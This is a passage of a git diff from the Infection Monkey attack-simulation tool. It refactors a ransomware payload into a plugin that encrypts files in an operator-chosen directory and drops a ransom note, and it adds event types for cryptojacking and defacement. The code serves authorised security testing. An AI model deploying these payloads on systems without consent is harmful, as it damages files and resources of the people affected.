building the cryptojacker payload: {err}" + logger.exception(msg) + return PayloadResult(success=False, error_message=msg) + + try: + cryptojacker.run(interrupt) + return PayloadResult(success=True) + except Exception as err: + msg = f"An unexpected error occurred while running the cryptojacker payload: {err}" + logger.exception(msg) + return PayloadResult(success=False, error_message=msg) diff --git a/monkey/agent_plugins/payloads/ransomware/Pipfile b/monkey/agent_plugins/payloads/ransomware/Pipfile new file mode 100644 index 00000000000..0757494bb36 --- /dev/null +++ b/monkey/agent_plugins/payloads/ransomware/Pipfile @@ -0,0 +1,11 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] + +[dev-packages] + +[requires] +python_version = "3.11" diff --git a/monkey/agent_plugins/payloads/ransomware/Pipfile.lock b/monkey/agent_plugins/payloads/ransomware/Pipfile.lock new file mode 100644 index 00000000000..54a707836d2 --- /dev/null +++ b/monkey/agent_plugins/payloads/ransomware/Pipfile.lock @@ -0,0 +1,20 @@ +{ + "_meta": { + "hash": { + "sha256": "ed6d5d614626ae28e274e453164affb26694755170ccab3aa5866f093d51d3e4" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.11" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": {}, + "develop": {} +} diff --git a/monkey/agent_plugins/payloads/ransomware/config-schema.json b/monkey/agent_plugins/payloads/ransomware/config-schema.json new file mode 100644 index 00000000000..be2fba37bfc --- /dev/null +++ b/monkey/agent_plugins/payloads/ransomware/config-schema.json @@ -0,0 +1,31 @@ +{ + "properties": { + "file_extension": { + "title": "File extension", + "type": "string", + "pattern": "^(\\.[A-Za-z0-9_]+)?$", + "description": "The file extension that the Infection Monkey will use for the encrypted file.", + "default": ".m0nk3y" + }, + "linux_target_dir": { + "title": "Linux target directory", + "type": ["null", "string"], + "pattern": "^$|^/|^\\$|^~", + "description": "A path to a directory on Linux systems that contains files you will allow Infection Monkey to encrypt. If no directory is specified, no files will be encrypted.", + "default": "" + }, + "windows_target_dir": { + "title": "Windows target directory", + "type": ["null", "string"], + "pattern": "^$|^([A-Za-z]:(\\\\|/))|^%([A-Za-z#$'()*+,\\-\\.?@[\\]_`\\{\\}~ ]+([A-Za-z#$'()*+,\\-\\.?@[\\]_`\\{\\}~ ]|\\d)*)%|^\\\\{2}", + "description": "A path to a directory on Windows systems that contains files you will allow Infection Monkey to encrypt. If no directory is specified, no files will be encrypted.", + "default": "" + }, + "leave_readme": { + "title": "Leave a ransom note", + "type": "boolean", + "description": "If enabled, Infection Monkey will leave a ransom note in the target directory.", + "default": true + } + } +} diff --git a/monkey/agent_plugins/payloads/ransomware/manifest.yaml b/monkey/agent_plugins/payloads/ransomware/manifest.yaml new file mode 100644 index 00000000000..604999011a1 --- /dev/null +++ b/monkey/agent_plugins/payloads/ransomware/manifest.yaml @@ -0,0 +1,22 @@ +name: Ransomware +plugin_type: Payload +supported_operating_systems: + - linux + - windows +target_operating_systems: + - linux + - windows +title: Ransomware +version: 1.0.0 +description: >- + Simulates a ransomware attack on your network using a set of configurable behaviors. + + To simulate ransomware encryption, you'll need to provide Infection Monkey + with files that it can safely encrypt. Create a directory with some files on each + machine where the ransomware simulation will run. No files will be encrypted + if a directory is not specified or if the specified directory doesn't exist on a + victim machine. + + Optionally, a README.txt file can be left in the specified target directory. +safe: true +link_to_documentation: https://techdocs.akamai.com/infection-monkey/docs/ransomware-simulation diff --git a/monkey/infection_monkey/utils/bit_manipulators.py b/monkey/agent_plugins/payloads/ransomware/src/bit_manipulators.py similarity index 100% rename from monkey/infection_monkey/utils/bit_manipulators.py rename to monkey/agent_plugins/payloads/ransomware/src/bit_manipulators.py diff --git a/monkey/infection_monkey/payload/ransomware/consts.py b/monkey/agent_plugins/payloads/ransomware/src/consts.py similarity index 100% rename from monkey/infection_monkey/payload/ransomware/consts.py rename to monkey/agent_plugins/payloads/ransomware/src/consts.py diff --git a/monkey/infection_monkey/payload/ransomware/file_selectors.py b/monkey/agent_plugins/payloads/ransomware/src/file_selectors.py similarity index 100% rename from monkey/infection_monkey/payload/ransomware/file_selectors.py rename to monkey/agent_plugins/payloads/ransomware/src/file_selectors.py diff --git a/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py b/monkey/agent_plugins/payloads/ransomware/src/in_place_file_encryptor.py similarity index 76% rename from monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py rename to monkey/agent_plugins/payloads/ransomware/src/in_place_file_encryptor.py index fc5523352d1..b9226eefa6c 100644 --- a/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py +++ b/monkey/agent_plugins/payloads/ransomware/src/in_place_file_encryptor.py @@ -1,23 +1,19 @@ -import re from pathlib import Path -from typing import Callable +from typing import Callable, Literal, Union -FILE_EXTENSION_REGEX = re.compile(r"^\.[^\\/]+$") +from common.types import FileExtension class InPlaceFileEncryptor: def __init__( self, encrypt_bytes: Callable[[bytes], bytes], - new_file_extension: str = "", + new_file_extension: Union[Literal[""], FileExtension] = "", chunk_size: int = 64, ): self._encrypt_bytes = encrypt_bytes self._chunk_size = chunk_size - if new_file_extension and not FILE_EXTENSION_REGEX.match(new_file_extension): - raise ValueError(f'"{new_file_extension}" is not a valid file extension.') - self._new_file_extension = new_file_extension def __call__(self, filepath: Path): diff --git a/monkey/agent_plugins/payloads/ransomware/src/internal_ransomware_options.py b/monkey/agent_plugins/payloads/ransomware/src/internal_ransomware_options.py new file mode 100644 index 00000000000..93b8dfdd665 --- /dev/null +++ b/monkey/agent_plugins/payloads/ransomware/src/internal_ransomware_options.py @@ -0,0 +1,40 @@ +import logging +from pathlib import Path +from typing import Optional + +from common import OperatingSystem +from common.utils.environment import get_os +from common.utils.file_utils import InvalidPath, expand_path + +from .ransomware_options import RansomwareOptions + +logger = logging.getLogger(__name__) + + +class InternalRansomwareOptions: + def __init__(self, options: RansomwareOptions): + self.file_extension: Optional[str] = options.file_extension + self.leave_readme: bool = options.leave_readme + self.target_directory: Optional[Path] = InternalRansomwareOptions._choose_target_directory( + options + ) + + @staticmethod + def _choose_target_directory(options: RansomwareOptions) -> Optional[Path]: + local_operating_system = get_os() + + target_directory: str = ( + options.linux_target_dir + if local_operating_system == OperatingSystem.LINUX + else options.windows_target_dir + ) + + if target_directory is None or target_directory == "": + return None + + try: + return expand_path(target_directory) + except InvalidPath as e: + logger.debug(f"Target ransomware directory set to None: {e}") + + return None diff --git a/monkey/agent_plugins/payloads/ransomware/src/plugin.py b/monkey/agent_plugins/payloads/ransomware/src/plugin.py new file mode 100644 index 00000000000..84996072c18 --- /dev/null +++ b/monkey/agent_plugins/payloads/ransomware/src/plugin.py @@ -0,0 +1,62 @@ +import logging +from pprint import pformat +from threading import Event +from typing import Any, Dict + +from common.event_queue import IAgentEventPublisher +from common.types import AgentID +from common.utils.code_utils import del_key +from infection_monkey.i_puppet import PayloadResult + +from .ransomware_builder import build_ransomware +from .ransomware_options import RansomwareOptions + +logger = logging.getLogger(__name__) + + +class Plugin: + def __init__( + self, + *, + plugin_name="", + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + **kwargs, + ): + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + + def run( + self, + *, + options: Dict[str, Any], + interrupt: Event, + **kwargs, + ) -> PayloadResult: + # HTTP ports options are hack because they are needed in fingerprinters + del_key(options, "http_ports") + + try: + logger.debug(f"Parsing options: {pformat(options)}") + ransomware_options = RansomwareOptions(**options) + except Exception as err: + msg = f"Failed to parse Ransomware options: {err}" + logger.exception(msg) + return PayloadResult(success=False, error_message=msg) + + try: + ransomware = build_ransomware( + self._agent_id, self._agent_event_publisher, ransomware_options + ) + except Exception as err: + msg = f"An unexpected error occurred while building the ransomware payload: {err}" + logger.exception(msg) + return PayloadResult(success=False, error_message=msg) + + try: + ransomware.run(interrupt) + return PayloadResult(success=True) + except Exception as err: + msg = f"An unexpected error occurred while running the ransomware payload: {err}" + logger.exception(msg) + return PayloadResult(success=False, error_message=msg) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/agent_plugins/payloads/ransomware/src/ransomware.py similarity index 78% rename from monkey/infection_monkey/payload/ransomware/ransomware.py rename to monkey/agent_plugins/payloads/ransomware/src/ransomware.py index b551b318d82..5d8ad84617a 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/agent_plugins/payloads/ransomware/src/ransomware.py @@ -1,16 +1,17 @@ import logging import threading from pathlib import Path -from typing import Callable, Iterable +from typing import Iterable from common.agent_events import FileEncryptionEvent -from common.event_queue import IAgentEventQueue +from common.event_queue import IAgentEventPublisher from common.tags import DATA_ENCRYPTED_FOR_IMPACT_T1486_TAG from common.types import AgentID from infection_monkey.utils.threading import interruptible_function, interruptible_iter from .consts import README_FILE_NAME, README_SRC -from .ransomware_options import RansomwareOptions +from .internal_ransomware_options import InternalRansomwareOptions +from .typedef import FileEncryptorCallable, FileSelectorCallable, ReadmeDropperCallable logger = logging.getLogger(__name__) @@ -21,11 +22,11 @@ class Ransomware: def __init__( self, - config: RansomwareOptions, - encrypt_file: Callable[[Path], None], - select_files: Callable[[Path], Iterable[Path]], - leave_readme: Callable[[Path, Path], None], - agent_event_queue: IAgentEventQueue, + config: InternalRansomwareOptions, + encrypt_file: FileEncryptorCallable, + select_files: FileSelectorCallable, + leave_readme: ReadmeDropperCallable, + agent_event_publisher: IAgentEventPublisher, agent_id: AgentID, ): self._config = config @@ -33,7 +34,7 @@ def __init__( self._encrypt_file = encrypt_file self._select_files = select_files self._leave_readme = leave_readme - self._agent_event_queue = agent_event_queue + self._agent_event_publisher = agent_event_publisher self._agent_id = agent_id self._target_directory = self._config.target_directory @@ -64,18 +65,18 @@ def run(self, interrupt: threading.Event): ) return - if self._config.encryption_enabled: - files_to_encrypt = self._find_files() - self._encrypt_files(files_to_encrypt, interrupt) + # If a target directory was supplied and exists, then we can encrypt some files in it. + files_to_encrypt = self._find_files() + self._encrypt_selected_files(files_to_encrypt, interrupt) - if self._config.readme_enabled: + if self._config.leave_readme: self._leave_readme_in_target_directory(interrupt=interrupt) def _find_files(self) -> Iterable[Path]: logger.info(f"Collecting files in {self._target_directory}") return self._select_files(self._target_directory) # type: ignore - def _encrypt_files(self, files_to_encrypt: Iterable[Path], interrupt: threading.Event): + def _encrypt_selected_files(self, files_to_encrypt: Iterable[Path], interrupt: threading.Event): logger.info(f"Encrypting files in {self._target_directory}") interrupted_message = "Received a stop signal, skipping encryption of remaining files" @@ -99,7 +100,7 @@ def _publish_file_encryption_event(self, filepath: Path, success: bool, error: s error_message=error, tags=RANSOMWARE_TAGS, ) - self._agent_event_queue.publish(file_encryption_event) + self._agent_event_publisher.publish(file_encryption_event) @interruptible_function(msg="Received a stop signal, skipping leave readme") def _leave_readme_in_target_directory(self, *, interrupt: threading.Event): diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_builder.py b/monkey/agent_plugins/payloads/ransomware/src/ransomware_builder.py similarity index 58% rename from monkey/infection_monkey/payload/ransomware/ransomware_builder.py rename to monkey/agent_plugins/payloads/ransomware/src/ransomware_builder.py index ecaf94ad282..7ee1a7ab4ed 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware_builder.py +++ b/monkey/agent_plugins/payloads/ransomware/src/ransomware_builder.py @@ -1,15 +1,17 @@ import logging from pprint import pformat -from common.event_queue import IAgentEventQueue +from common.event_queue import IAgentEventPublisher from common.types import AgentID -from infection_monkey.utils.bit_manipulators import flip_bits +from common.utils.environment import get_os -from . import readme_dropper +from .bit_manipulators import flip_bits from .file_selectors import ProductionSafeTargetFileSelector from .in_place_file_encryptor import InPlaceFileEncryptor +from .internal_ransomware_options import InternalRansomwareOptions from .ransomware import Ransomware from .ransomware_options import RansomwareOptions +from .readme_dropper import ReadmeDropper from .targeted_file_extensions import TARGETED_FILE_EXTENSIONS CHUNK_SIZE = 4096 * 24 @@ -18,19 +20,24 @@ def build_ransomware( - options: dict, - agent_event_queue: IAgentEventQueue, agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + options: RansomwareOptions, ): logger.debug(f"Ransomware configuration:\n{pformat(options)}") - ransomware_options = RansomwareOptions(options) + internal_ransomware_options = InternalRansomwareOptions(options) - file_encryptor = _build_file_encryptor(ransomware_options.file_extension) - file_selector = _build_file_selector(ransomware_options.file_extension) + file_encryptor = _build_file_encryptor(internal_ransomware_options.file_extension) + file_selector = _build_file_selector(internal_ransomware_options.file_extension) leave_readme = _build_leave_readme() return Ransomware( - ransomware_options, file_encryptor, file_selector, leave_readme, agent_event_queue, agent_id + internal_ransomware_options, + file_encryptor, + file_selector, + leave_readme, + agent_event_publisher, + agent_id, ) @@ -49,4 +56,4 @@ def _build_file_selector(file_extension: str): def _build_leave_readme(): - return readme_dropper.leave_readme + return ReadmeDropper(get_os()).leave_readme diff --git a/monkey/agent_plugins/payloads/ransomware/src/ransomware_options.py b/monkey/agent_plugins/payloads/ransomware/src/ransomware_options.py new file mode 100644 index 00000000000..fe201af6fb4 --- /dev/null +++ b/monkey/agent_plugins/payloads/ransomware/src/ransomware_options.py @@ -0,0 +1,75 @@ +import re +from typing import Optional + +from pydantic import ConstrainedStr, Field + +from common.base_models import InfectionMonkeyBaseModel + +valid_file_extension_regex = re.compile(r"^(\.[A-Za-z0-9_]+)?$") + +_empty_regex = re.compile("^$") + +_linux_absolute_path_regex = re.compile("^/") # path starts with `/` +_linux_path_starts_with_env_variable_regex = re.compile(r"^\$") # path starts with `$` +_linux_path_starts_with_tilde_regex = re.compile("^~") # path starts with `~` +valid_ransomware_path_linux_regex = re.compile( + "|".join( + [ + _empty_regex.pattern, + _linux_absolute_path_regex.pattern, + _linux_path_starts_with_env_variable_regex.pattern, + _linux_path_starts_with_tilde_regex.pattern, + ] + ) +) + +_windows_absolute_path_regex = re.compile("^([A-Za-z]:(\\\\|/))") # path starts like `C:\` OR `C:/` +_windows_env_var_non_numeric_regex = re.compile(r"[A-Za-z#$'()*+,\-\.?@[\]_`\{\}~ ]") +_windows_path_starts_with_env_variable_regex = re.compile( + rf"^%({_windows_env_var_non_numeric_regex.pattern}+({_windows_env_var_non_numeric_regex.pattern}|\d)*)%" # noqa: E501 +) # path starts like `$` OR `%abc%` +_windows_unc_path_regex = re.compile("^\\\\{2}") # path starts like `\\` +valid_ransomware_path_windows_regex = re.compile( + "|".join( + [ + _empty_regex.pattern, + _windows_absolute_path_regex.pattern, + _windows_path_starts_with_env_variable_regex.pattern, + _windows_unc_path_regex.pattern, + ] + ) +) + + +class FileExtension(ConstrainedStr): + regex = valid_file_extension_regex + + +class LinuxDirectory(ConstrainedStr): + regex = valid_ransomware_path_linux_regex + + +class WindowsDirectory(ConstrainedStr): + regex = valid_ransomware_path_windows_regex + + +class RansomwareOptions(InfectionMonkeyBaseModel): + file_extension: FileExtension = Field( + default=".m0nk3y", + description="The file extension that the Infection Monkey will use for the encrypted file.", + ) + linux_target_dir: Optional[LinuxDirectory] = Field( + default=None, + description="A path to a directory on Linux systems that contains files you will allow " + "Infection Monkey to encrypt. If no directory is specified, no files will be encrypted.", + ) + windows_target_dir: Optional[WindowsDirectory] = Field( + default=None, + description="A path to a directory on Windows systems that contains files you will allow " + "Infection Monkey to encrypt. If no directory is specified, no files will be encrypted.", + ) + leave_readme: bool = Field( + default=True, + description="If enabled, Infection Monkey will leave a ransomware note in the target " + "directory.", + ) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_readme.txt b/monkey/agent_plugins/payloads/ransomware/src/ransomware_readme.txt similarity index 100% rename from monkey/infection_monkey/payload/ransomware/ransomware_readme.txt rename to monkey/agent_plugins/payloads/ransomware/src/ransomware_readme.txt diff --git a/monkey/agent_plugins/payloads/ransomware/src/readme_dropper.py b/monkey/agent_plugins/payloads/ransomware/src/readme_dropper.py new file mode 100644 index 00000000000..e18b3bdd369 --- /dev/null +++ b/monkey/agent_plugins/payloads/ransomware/src/readme_dropper.py @@ -0,0 +1,36 @@ +import logging +import shutil +from pathlib import Path + +from common import OperatingSystem + +logger = logging.getLogger(__name__) + + +class ReadmeDropper: + def __init__(self, operating_system: OperatingSystem): + self._operating_system = operating_system + + def leave_readme(self, src: Path, dest: Path): + if dest.exists(): + logger.warning(f"{dest} already exists, not leaving a new README.txt") + return + + logger.info(f"Leaving a ransomware README file at {dest}") + + if self._operating_system == OperatingSystem.WINDOWS: + self._leave_windows_readme(src, dest) + else: + self._leave_posix_readme(src, dest) + + def _leave_windows_readme(self, src: Path, dest: Path): + with open(src, "rb") as src_file: + posix_readme = src_file.read() + + windows_readme = posix_readme.replace(b"\n", b"\r\n") + + with open(dest, "wb") as dest_file: + dest_file.write(windows_readme) + + def _leave_posix_readme(self, src: Path, dest: Path): + shutil.copyfile(src, dest) diff --git a/monkey/infection_monkey/payload/ransomware/targeted_file_extensions.py b/monkey/agent_plugins/payloads/ransomware/src/targeted_file_extensions.py similarity index 100% rename from monkey/infection_monkey/payload/ransomware/targeted_file_extensions.py rename to monkey/agent_plugins/payloads/ransomware/src/targeted_file_extensions.py diff --git a/monkey/agent_plugins/payloads/ransomware/src/typedef.py b/monkey/agent_plugins/payloads/ransomware/src/typedef.py new file mode 100644 index 00000000000..e96cfaf1d39 --- /dev/null +++ b/monkey/agent_plugins/payloads/ransomware/src/typedef.py @@ -0,0 +1,6 @@ +from pathlib import Path +from typing import Callable, Iterable, TypeAlias + +FileEncryptorCallable: TypeAlias = Callable[[Path], None] +FileSelectorCallable: TypeAlias = Callable[[Path], Iterable[Path]] +ReadmeDropperCallable: TypeAlias = Callable[[Path, Path], None] diff --git a/monkey/agent_plugins/util.sh b/monkey/agent_plugins/util.sh index d7c56b3cbaf..f99d7226855 100644 --- a/monkey/agent_plugins/util.sh +++ b/monkey/agent_plugins/util.sh @@ -1,8 +1,8 @@ #!/bin/sh -export MANIFEST_FILENAME=manifest.yaml export SCHEMA_FILENAME=config-schema.json -export SOURCE_FILENAME=source.tar +export SOURCE_FILENAME=source.tar.gz + fail() { echo "$1" @@ -33,15 +33,22 @@ lower() { get_plugin_filename() { _plugin_path=${1:-"."} - # if "manifest.yaml" doesn't exist, assume the file is called "manifest.yml" - # the script will fail if that doesn't exist either - if [ ! -f "${_plugin_path}/$MANIFEST_FILENAME" ]; then - MANIFEST_FILENAME=manifest.yml - fi + manifest_filename=$(get_plugin_manifest_filename "$_plugin_path") - _name=$(get_value_from_key "${_plugin_path}/$MANIFEST_FILENAME" name) || fail "Failed to get plugin name" + _name=$(get_value_from_key "${_plugin_path}/${manifest_filename}" name) || fail "Failed to get plugin name" _name=$(ltrim "$_name") - _type=$(get_value_from_key "${_plugin_path}/$MANIFEST_FILENAME" plugin_type) || fail "Failed to get plugin type" + _type=$(get_value_from_key "${_plugin_path}/${manifest_filename}" plugin_type) || fail "Failed to get plugin type" _type=$(ltrim "$(lower "$_type")") echo "${_name}-${_type}.tar" } + +get_plugin_manifest_filename() { + manifest_filename=manifest.yaml + _plugin_path=${1:-"."} + + if [ ! -f "${_plugin_path}/${manifest_filename}" ]; then + manifest_filename=manifest.yml + fi + + echo $manifest_filename +} diff --git a/monkey/common/__init__.py b/monkey/common/__init__.py index 400489203e0..a1464e9da2a 100644 --- a/monkey/common/__init__.py +++ b/monkey/common/__init__.py @@ -8,6 +8,3 @@ from .agent_registration_data import AgentRegistrationData from .agent_signals import AgentSignals from .agent_heartbeat import AgentHeartbeat -from .hard_coded_manifests import ( - HARD_CODED_EXPLOITER_MANIFESTS, -) diff --git a/monkey/common/agent_configuration/__init__.py b/monkey/common/agent_configuration/__init__.py index 413017516c6..8ccef03c726 100644 --- a/monkey/common/agent_configuration/__init__.py +++ b/monkey/common/agent_configuration/__init__.py @@ -12,5 +12,4 @@ ) from .default_agent_configuration import ( DEFAULT_AGENT_CONFIGURATION, - DEFAULT_RANSOMWARE_AGENT_CONFIGURATION, ) diff --git a/monkey/common/agent_configuration/agent_configuration.py b/monkey/common/agent_configuration/agent_configuration.py index 24bde6cb165..d34ae0eee32 100644 --- a/monkey/common/agent_configuration/agent_configuration.py +++ b/monkey/common/agent_configuration/agent_configuration.py @@ -22,7 +22,10 @@ class AgentConfiguration(MutableInfectionMonkeyBaseModel): " result in unexpected behavior on the machine.", ) payloads: Dict[str, Dict] = Field( - title="Payloads", description="Configure payloads that Agents will execute" + title="Enabled payloads", + description="Click on a payload to get more information" + " about it. \n \u26A0 Note that using unsafe options may" + " result in unexpected behavior on the machine.", ) propagation: PropagationConfiguration = Field( title="Propagation", diff --git a/monkey/common/agent_configuration/default_agent_configuration.py b/monkey/common/agent_configuration/default_agent_configuration.py index 7acd8bdcabb..8f47eebb7f4 100644 --- a/monkey/common/agent_configuration/default_agent_configuration.py +++ b/monkey/common/agent_configuration/default_agent_configuration.py @@ -1,4 +1,3 @@ -from copy import deepcopy from typing import Dict from . import AgentConfiguration @@ -16,16 +15,7 @@ CREDENTIALS_COLLECTORS: Dict[str, Dict] = {} -RANSOMWARE_OPTIONS = { - "encryption": { - "enabled": True, - "file_extension": ".m0nk3y", - "directories": {"linux_target_dir": "", "windows_target_dir": ""}, - }, - "other_behaviors": {"readme": True}, -} - -PAYLOAD_CONFIGURATION = {"ransomware": RANSOMWARE_OPTIONS} +PAYLOAD_CONFIGURATION: Dict[str, Dict] = {} TCP_PORTS = ( 22, @@ -69,15 +59,9 @@ EXPLOITATION_OPTIONS_CONFIGURATION = ExploitationOptionsConfiguration(http_ports=HTTP_PORTS) -# Order is preserved and agent will run exploiters in this sequence -EXPLOITERS: Dict[str, Dict] = { - "Log4ShellExploiter": {}, - "SSHExploiter": {}, -} - EXPLOITATION_CONFIGURATION = ExploitationConfiguration( options=EXPLOITATION_OPTIONS_CONFIGURATION, - exploiters=EXPLOITERS, + exploiters={}, ) PROPAGATION_CONFIGURATION = PropagationConfiguration( @@ -93,6 +77,3 @@ propagation=PROPAGATION_CONFIGURATION, polymorphism=PolymorphismConfiguration(randomize_agent_hash=False), ) - -DEFAULT_RANSOMWARE_AGENT_CONFIGURATION = deepcopy(DEFAULT_AGENT_CONFIGURATION) -DEFAULT_RANSOMWARE_AGENT_CONFIGURATION.credentials_collectors = {} diff --git a/monkey/common/agent_event_serializers/__init__.py b/monkey/common/agent_event_serializers/__init__.py index aa488599c33..86a9ccf7303 100644 --- a/monkey/common/agent_event_serializers/__init__.py +++ b/monkey/common/agent_event_serializers/__init__.py @@ -1,4 +1,4 @@ -from .consts import EVENT_TYPE_FIELD +from .consts import EVENT_TYPE_FIELD, TIMESTAMP_FIELD from .i_agent_event_serializer import IAgentEventSerializer from .agent_event_serializer_registry import AgentEventSerializerRegistry from .pydantic_agent_event_serializer import PydanticAgentEventSerializer diff --git a/monkey/common/agent_event_serializers/consts.py b/monkey/common/agent_event_serializers/consts.py index 5aee2263aae..8ef780f29f4 100644 --- a/monkey/common/agent_event_serializers/consts.py +++ b/monkey/common/agent_event_serializers/consts.py @@ -1 +1,2 @@ EVENT_TYPE_FIELD = "type" +TIMESTAMP_FIELD = "timestamp" diff --git a/monkey/common/agent_event_serializers/register.py b/monkey/common/agent_event_serializers/register.py index 40d99015b0b..fe420a5c19b 100644 --- a/monkey/common/agent_event_serializers/register.py +++ b/monkey/common/agent_event_serializers/register.py @@ -1,13 +1,18 @@ from common.agent_events import ( AgentShutdownEvent, + CPUConsumptionEvent, CredentialsStolenEvent, + DefacementEvent, ExploitationEvent, FileEncryptionEvent, + FingerprintingEvent, HostnameDiscoveryEvent, + HTTPRequestEvent, OSDiscoveryEvent, PasswordRestorationEvent, PingScanEvent, PropagationEvent, + RAMConsumptionEvent, TCPScanEvent, ) @@ -20,8 +25,12 @@ def register_common_agent_event_serializers( event_serializer_registry[CredentialsStolenEvent] = PydanticAgentEventSerializer( CredentialsStolenEvent ) + event_serializer_registry[DefacementEvent] = PydanticAgentEventSerializer(DefacementEvent) event_serializer_registry[PingScanEvent] = PydanticAgentEventSerializer(PingScanEvent) event_serializer_registry[TCPScanEvent] = PydanticAgentEventSerializer(TCPScanEvent) + event_serializer_registry[FingerprintingEvent] = PydanticAgentEventSerializer( + FingerprintingEvent + ) event_serializer_registry[PropagationEvent] = PydanticAgentEventSerializer(PropagationEvent) event_serializer_registry[ExploitationEvent] = PydanticAgentEventSerializer(ExploitationEvent) event_serializer_registry[PasswordRestorationEvent] = PydanticAgentEventSerializer( @@ -35,3 +44,10 @@ def register_common_agent_event_serializers( event_serializer_registry[HostnameDiscoveryEvent] = PydanticAgentEventSerializer( HostnameDiscoveryEvent ) + event_serializer_registry[CPUConsumptionEvent] = PydanticAgentEventSerializer( + CPUConsumptionEvent + ) + event_serializer_registry[RAMConsumptionEvent] = PydanticAgentEventSerializer( + RAMConsumptionEvent + ) + event_serializer_registry[HTTPRequestEvent] = PydanticAgentEventSerializer(HTTPRequestEvent) diff --git a/monkey/common/agent_events/__init__.py b/monkey/common/agent_events/__init__.py index 24c083a97d9..4cb7a7b01b5 100644 --- a/monkey/common/agent_events/__init__.py +++ b/monkey/common/agent_events/__init__.py @@ -1,8 +1,9 @@ -from .abstract_agent_event import AbstractAgentEvent +from .abstract_agent_event import AbstractAgentEvent, AgentEventTag, EVENT_TAG_REGEX from .agent_event_registry import AgentEventRegistry from .credentials_stolen_events import CredentialsStolenEvent from .ping_scan_event import PingScanEvent from .tcp_scan_event import TCPScanEvent +from .fingerprinting_event import FingerprintingEvent from .exploitation_event import ExploitationEvent from .propagation_event import PropagationEvent from .password_restoration_event import PasswordRestorationEvent @@ -11,3 +12,7 @@ from .os_discovery_event import OSDiscoveryEvent from .hostname_discovery_event import HostnameDiscoveryEvent from .register import register_common_agent_events +from .cpu_consumption_event import CPUConsumptionEvent +from .ram_consumption_event import RAMConsumptionEvent +from .http_request_event import HTTPRequestEvent +from .defacement_event import DefacementEvent diff --git a/monkey/common/agent_events/abstract_agent_event.py b/monkey/common/agent_events/abstract_agent_event.py index d79c70d691d..1ee2c7deeec 100644 --- a/monkey/common/agent_events/abstract_agent_event.py +++ b/monkey/common/agent_events/abstract_agent_event.py @@ -3,11 +3,17 @@ from ipaddress import IPv4Address from typing import FrozenSet, Union -from pydantic import Field +from pydantic import ConstrainedStr, Field from common.base_models import InfectionMonkeyBaseModel, InfectionMonkeyModelConfig from common.types import AgentID, MachineID +EVENT_TAG_REGEX = r"^[a-zA-Z0-9._-]+$" + + +class AgentEventTag(ConstrainedStr): + regex = EVENT_TAG_REGEX + class AbstractAgentEvent(InfectionMonkeyBaseModel, ABC): """ @@ -27,7 +33,10 @@ class AbstractAgentEvent(InfectionMonkeyBaseModel, ABC): source: AgentID target: Union[MachineID, IPv4Address, None] = Field(default=None) timestamp: float = Field(default_factory=time.time) - tags: FrozenSet[str] = Field(default_factory=frozenset) + tags: FrozenSet[AgentEventTag] = Field(default_factory=frozenset) class Config(InfectionMonkeyModelConfig): smart_union = True + + def __hash__(self): + return hash((type(self), *tuple(self.__dict__.values()))) diff --git a/monkey/common/agent_events/cpu_consumption_event.py b/monkey/common/agent_events/cpu_consumption_event.py new file mode 100644 index 00000000000..e58e1065e6c --- /dev/null +++ b/monkey/common/agent_events/cpu_consumption_event.py @@ -0,0 +1,18 @@ +from pydantic import conint + +from common.types import Percent + +from . import AbstractAgentEvent + + +class CPUConsumptionEvent(AbstractAgentEvent): + """ + An event that occurs when the Agent consumes significant CPU resources for its own purposes. + + Attributes: + :param utilization: The percentage of the CPU that is utilized + :param cpu_number: The number of the CPU core that is utilized + """ + + utilization: Percent + cpu_number: conint(ge=0, strict=True) # type: ignore [valid-type] diff --git a/monkey/common/agent_events/defacement_event.py b/monkey/common/agent_events/defacement_event.py new file mode 100644 index 00000000000..51c8bebf90f --- /dev/null +++ b/monkey/common/agent_events/defacement_event.py @@ -0,0 +1,20 @@ +from enum import Enum + +from . import AbstractAgentEvent + + +class DefacementEvent(AbstractAgentEvent): + """ + An event that occurs when an attacker modifies some visual content or component + + Attributes: + :param defacement_target: Whether the defacement is internally or externally targeted + :param description: A description of the defacement + """ + + class DefacementTarget(Enum): + INTERNAL = "internal" + EXTERNAL = "external" + + defacement_target: DefacementTarget + description: str diff --git a/monkey/common/agent_events/fingerprinting_event.py b/monkey/common/agent_events/fingerprinting_event.py new file mode 100644 index 00000000000..8ddee293f37 --- /dev/null +++ b/monkey/common/agent_events/fingerprinting_event.py @@ -0,0 +1,26 @@ +from ipaddress import IPv4Address +from typing import Optional, Tuple + +from pydantic import Field + +from common import OperatingSystem +from common.types import DiscoveredService + +from . import AbstractAgentEvent + + +class FingerprintingEvent(AbstractAgentEvent): + """ + An event that occurs when the agent performs a ping scan on its network + + Attributes: + :param target: IP address of the pinged system + :param os: Operating system determined during fingerprinting + :param os_version: Operating system version determined during fingerprinting + :param discovered_services: The services discovered and identified during fingerprinting + """ + + target: IPv4Address + os: Optional[OperatingSystem] + os_version: Optional[str] + discovered_services: Tuple[DiscoveredService, ...] = Field(default_factory=tuple) diff --git a/monkey/common/agent_events/http_request_event.py b/monkey/common/agent_events/http_request_event.py new file mode 100644 index 00000000000..4d6ff511abb --- /dev/null +++ b/monkey/common/agent_events/http_request_event.py @@ -0,0 +1,18 @@ +from http import HTTPMethod + +from pydantic import AnyHttpUrl + +from . import AbstractAgentEvent + + +class HTTPRequestEvent(AbstractAgentEvent): + """ + An event that occurs when the Agent sends an HTTP request to any server other than the Island. + + Attributes: + :param method: The HTTP method used to make the request + :param url: The URL to which the request was sent + """ + + method: HTTPMethod + url: AnyHttpUrl diff --git a/monkey/common/agent_events/ram_consumption_event.py b/monkey/common/agent_events/ram_consumption_event.py new file mode 100644 index 00000000000..44af4235ff3 --- /dev/null +++ b/monkey/common/agent_events/ram_consumption_event.py @@ -0,0 +1,18 @@ +from pydantic import 